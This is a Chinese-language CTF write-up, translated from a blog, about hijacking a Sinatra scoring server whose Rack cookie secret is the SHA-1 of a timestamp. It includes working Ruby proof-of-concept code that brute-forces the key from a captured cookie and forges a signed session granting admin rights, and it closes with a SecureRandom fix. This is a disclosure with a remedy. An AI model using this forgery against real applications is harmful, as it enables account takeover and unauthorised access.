0×00 背景


上周我参加了一个Bishop Fox和BYU大学举办的CTF比赛,在比赛过程中我决定尝试一下入侵一下计分系统,并且我把入侵的过程记录了下来。

尽管客户端的token欺骗已经不是什么新鲜事了,但是这次的入侵过程可以作为weak randomness漏洞的一个很好的练习。(这次攻击目标所使用的框架并不是像Rails一样常用的框架)

最后说一句:这个漏洞是框架自己带有的而不是Bishop Fox 或者是 BYU的问题。

0×01 cookie运行原理


在开始之前,我推荐你阅读一下这篇博文,他会告送你一个基于ruby的webapps如何处理cookie。

简而言之,ruby会生成一个hash数值作为一个cookie存储在用户客户端像这样

{ 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }  

之后ruby分为三步把他存储到客户端

(1)使用Marshal.dump对数据结构进行序列化  
(2)使用base64编码第一步得到的字符串  
(3)计算message的HMAC(HMAC被用于message的完整性检查,这是ruby的一种机制以防用户篡改自己的cookie)  

当以上三步做完之后,ruby会在头文件中加入如下一段

Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"  

实际的cookie是这样

Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"  

上述处理cookie的过程有一个漏洞,message中的信息可以被客户端还原,只需要对它进行base64解码和反序列化即可得到原始的ruby object

ruby对于cookie信任的前提是,通过HMAC验证message中的内容必须是有你代码中设定的密钥标记过的,只有这样ruby才会把cookie当做一个有效地凭证。

下图就是上述过程简要流程

enter image description here

如果你篡改了你的cookie,会导致HMAC验证不通过,从而使你修改过的cookie值失效。

0×02 简介


CTF的评分系统是一个Sinatra-based的webapp,它使用了一些基本的Rails机制,提供了一个计分板的效果。看一下代码,还是比较简洁的。

这个webapp有一个有趣的现象就是,默认情况下代码库中没有配置文件,配置文件是在程序运行过程中生成的,下面是创建配置文件的代码。

#!ruby
begin
  require './config.rb'
rescue Exception => e
  # create default config.rb
  open('./config.rb', "w+") {|f|
    f.puts <<-"EOS"
COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
STYLE_SHEET = "/style.css"
HTML_TITLE = "scoreserver.rb CTF"
EOS
    f.flush
  }
  require './config.rb'
end

值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s的SHA-1散列。这段代码中所使用的Time.now.to_s就是我们所说的不健壮的随机化种子。

0×03 原理


现在我们很容易知道,如果想要伪造cookie,就必须得到一个合法的HMAC字符串,只有得到它之后,我们才可以通过修改session-id来控制session。

这个漏洞的根源是因为它使用了,弱随机化种子,在上文的代码中,SHA1-hashing 加密了一个秒级别的精度的字符串,这样我们就可以使用暴力的方法尝试一天之内秒数只需要60 x 60 x 24次尝试。

而且我们并不需要把每次的尝试结果提交到web服务器,只需要在本地计算出正确的key,然后再通过它构造出正确的HMAC提交即可。

0×04 POC


为了确定一下我们是否可以破解HMAC,我们可以试一下。

首先,我们从webapp得到cookie和HMAC。如果你想自己测试,copy以下代码运行即可。

#!ruby
require 'faraday'

connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')

现在我们只需要不断的获取Time.now和创建HMACs直到匹配为止。我们通过一个循环依次减小时间,直到找到正确的时间使得SHA1散列匹配而得到session key。

#!ruby
require 'digest/sha1'
require 'openssl'

def create_hmac message, key
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end

seed = Time.now

while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
    seed -= 1
end

key = Digest::SHA1.hexdigest(seed.to_s)

这样我们就可以成功破解key了,这个key可以帮助我们创建合法的HMAC。

0×05 利用


得到了key,我们就可以找一下源代码中有什么能让我们提升权限的地方。

首先,代码会对cookie进行反序列化。

#!ruby
params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))

这样修改之后,我们就可以赋予自己管理员权限。

#!ruby
params.merge!({ 'admin' => true })

通过上述语句重建cookie

#!ruby
bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
bad_hmac = create_hmac(bad_cookie, key)
header = "rack.session=#{bad_cookie}--#{bad_hmac};"

只要把上面得到的cookie内容,加到header里面就可以获取管理员权限了。

到达这一步只要查看源代码就可以很轻易地获取到每一题的答案了。

0×06 防御方法


我在github上提交了一个修改版本,其中使用这句代替了cookie secret key的生成

Digest::SHA1.hexdigest(Time.now.to_s)  

使用SecureRandom库生成随机数

SecureRandom.hex(20)  

这会生成一个40个字符的随机字符串

0×07 结论


这篇文章虽然在技术上没有什么实质性突破,但是作为一个弱随机漏洞的例子还是很不错的,希望在思路上可以启发到各位。

from:http://blog.tjll.net/weak-random-seed-rack-exploit/